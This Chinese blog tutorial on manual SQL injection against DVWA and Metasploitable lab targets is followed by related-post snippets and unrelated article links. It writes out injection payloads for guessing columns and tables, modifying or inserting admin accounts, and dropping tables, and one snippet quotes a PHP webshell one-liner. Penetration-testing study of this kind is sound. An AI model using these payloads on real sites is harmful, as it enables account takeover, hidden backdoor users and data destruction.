SQL手工注入
靶机:metasploitable(低)
1、当无权读取infomation_schema库【MySQL最重要的源数据库,必须有root权限】/拒绝union、order by语句
#若不为root
a.猜列名: ' and coclumn is null--+ 【并且列有一个字段为空,正常执行,若没有空字段,且该列存在,返回空白内容;若列不存在,则报错】(可确定语句可插入数据库运行)
例如:' and asd is null--+
使用kali集成的字典文件
#对字典中以#号开头的行过滤【cat common-colums.txt | grep -V ^# > column.txt】
BurpSuite自动猜列名(使用字典文件)【不一定是全部列】
#也可通过返回的长度(length)来筛选
b.猜测当前表名: ' and table.user is null--+ 【(user为已确定存在列名)如果列有字段为空,返回表名,若没有空字段,不会返回结果,若表名不存在,会报错】
#还可通过db.table.user猜测数据库名称【同样的方法】
kali中查找表名集成文件
cat /usr/share/golismero/tools/sqlmap/txt/common-tables.txt | grep -v ^# > table.txt
#通常来说,表名应该只有一个,不排除存在其他表名
c.猜测库里其他表: ' and (select count(*) from table)>0--+ 【统计表中记录,若大于0,表名存在,可能直接爆出库名和表名】
#同上,使用burpsuite
d.列表对应关系: ' and users.user is null--+
#通过上述方法,整理出已知列名文件
e.猜字段内容:
' or user='admin 【后面为真,则显示,证明该内容存在】
' or user like '%a% 【通配符,只要字段中包含a,则显示】
f.猜账号对应密码: 'or user='admin' and password='1h29rwg27g9agf9291r9
#可使用md5sum命令进行加密
2、当数据库可写入【前提,数据库配置的权限足够】
a. ';update users set user='root' where user='admin' 【直接修改其账号/密码(密码为自己设定的密码的MD5值)将admin更新为root】
#但是在dvwa中无法运行该语句,是sql客户端的问题代码存在问题,导致注入失败【原因】
数据库密码破解程序HexoBase,同时也是数据库连接的客户端程序
b.'; INSERT INTO users (' user_id',' first_name',' last_name','user','password','avatar') VALUES('35','fh','root','toor','5f4dcc3b5aa765d61d8327deb882cf99','OK');--+ 【插入:添加一个新用户,可隐秘行事】
c.DROP TABLE users;-- 【删除表】
#利用数据库管理系统中默认的存储过程进行注入 【xp_cmdshell /存储过程】
#SQL注入没有通用的方法,掌握原理,了解各种数据库特性
3、SQL注入难度提升讲解
low
medium
代码分析:$id:该变量不需要使用单引号闭合,也不需要使用--进行注释,所以注入之前中已不需要加单引号进行,过滤函数已为多余
#mysql_real_escape_string() 【php5.5.0已经弃用该函数,PHP 7.0.0已经删除该函数,使用MySQLi、PDO_MySQL代替】
转义函数,对以下下列字符转义
High
小白日记41:kali渗透测试之Web渗透-SQL手工注入(三)-猜测列名、表名、库名、字段内容,数据库写入的更多相关文章
-
小白日记39:kali渗透测试之Web渗透-SQL手工注入(一)-检测方法
SQL手工注入(一) SQL注入:通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.[SQL注入原理] ##服务端程序将用户输入参数作为查询 ...
-
小白日记28:kali渗透测试之Web渗透-扫描工具-Nikto
扫描工具-Nikto #WEB渗透 靶机:metasploitable 靶场:DVWA[默认账号/密码:admin/password] #新手先将DVWA的安全性,调到最低,可容易发现漏洞 侦察[减少 ...
-
小白日记30:kali渗透测试之Web渗透-扫描工具-Skipfish
WEB渗透-skipfish Skipfish是一个命令行模式,以C语言编写的积极的Web应用程序的安全性侦察工具,没有代理模式. 它准备了一个互动为目标的网站的站点地图进行一个递归爬网和基于字典的探 ...
-
小白日记33:kali渗透测试之Web渗透-扫描工具-Burpsuite(一)
扫描工具-Burpsuite Burp Suite是Web应用程序测试的最佳工具之一,成为web安全工具中的瑞士军刀.其多种功能可以帮我们执行各种任务.请求的拦截和修改,扫描web应用程序漏洞,以暴力 ...
-
小白日记43:kali渗透测试之Web渗透-SqlMap自动注入(一)-sqlmap参数详解TARGET
SqlMap自动注入(一) sqlmap是一款非常强大的开源sql自动化注入工具,可以用来检测和利用sql注入漏洞[动态页面中get/post参数.cookie.HTTP头].它由Python语言开发 ...
-
Kali学习笔记39:SQL手工注入(1)
终于到了SQL注入 最大的.最经典的.最常见的Web漏洞就是SQL注入漏洞 SQL注入的原理这里就不说了,百度 打开DVWA,SQL注入测试模块 测试单引号,发现出错,于是想到测试语句: 1' or ...
-
小白日记51:kali渗透测试之Web渗透-WebShell(中国菜刀、WeBaCoo、Weevely)
webshell 本质:<?php echo shell_exec($_GET['cmd']);?> windows平台 中国菜刀官网:胖客户端程序,国产中比较优秀的webshell,适用 ...
-
小白日记54:kali渗透测试之Web渗透-补充概念(AJAX,WEB Service)
补充概念 AJAX(异步javascript和XML) Asynchronous javascript and xml 是一个概念,而非一种新的编程语言,是一组现有技术的组合 通过客户端脚本动态更新页 ...
-
小白日记52:kali渗透测试之Web渗透-HTTPS攻击(Openssl、sslscan、sslyze、检查SSL的网站)
HTTPS攻击 全站HTTPS正策划稿那位潮流趋势 如:百度.阿里 HTTPS的作用 CIA 解决的是信息传输过程中数据被篡改.窃取 [从中注入恶意代码,多为链路劫持] 加密:对称.非对称.单向 HT ...
随机推荐
-
C#多线程介绍(下)
转载原文:这里是链接内容 转载原文:这里写链接内容 转载原文:这里写链接内容 (重要事情说三遍) 引言 本文主要从线程的基础用法,CLR线程池当中工作者线程与I/O线程的开发,并行操作PLINQ等多个 ...
-
STL用法总结
stringstream用法:对已有的运算符赋予多重含义,使同一个运算符作用于不同类型的数据导致不同类型的行为. stream << i 将i输入流中 stream >> ...
-
基于Java Mina框架的部标808服务器设计和开发
在开发部标GPS平台中,部标808GPS服务器是系统的核心关键,决定了部标平台的稳定性和行那个.Linux服务器是首选,为了跨平台,开发语言选择Java自不待言. 我们为客户开发的部标服务器基于Min ...
-
安装Genymotion android模拟器
Genymotion优点: 速度快性能好,资源占用低,系统要求512MB内存就能运行 支持 OpenGL 3D加速,可以流畅玩大型3D游戏 支持同时启动多个模拟器,可以实现软件或游戏多开 支持多种虚拟 ...
-
asp.net学习之ado.net(连接模式访问)
原文:asp.net学习之ado.net(连接模式访问) ado.net框架支持两种模式的数据访问: 连接模式(Connected)和非连接模式(disconnected).这一节介绍如何使用连 ...
-
firefox os 该设备呼叫移动开发
1)话筒 权限:telephony api:navigator.moztelephony 参考链接:https://wiki.mozilla.org/WebAPI/WebTelephony 2) 扬声 ...
-
hadoop记录-hadoop常用
1.hdfs目录配额 #设置配额目录hdfs dfsadmin -setSpaceQuota 10T /user/hive/warehouser/tmp查看配额目录信息hdfs dfs -count ...
-
您的快递(高并发服务器之poll和epoll)请签收
前言 之前已经介绍过select函数,请参考这篇博客:https://www.cnblogs.com/liudw-0215/p/9661583.html,原理都是类似的,有时间先阅读下那篇博客,以便于 ...
-
JDK自带的运行监控工具JConsole观察分析Java程序的运行
原文地址:https://blog.csdn.net/libaolin198706231987/article/details/55057149 一.JConsole是什么 从Java 5开始 引入了 ...
-
【C++】c++11多线程初探
相关头文件c++11 新标准中引入了四个头文件来支持多线程编程,他们分别是<atomic> ,<thread>,<mutex>,<condition_vari ...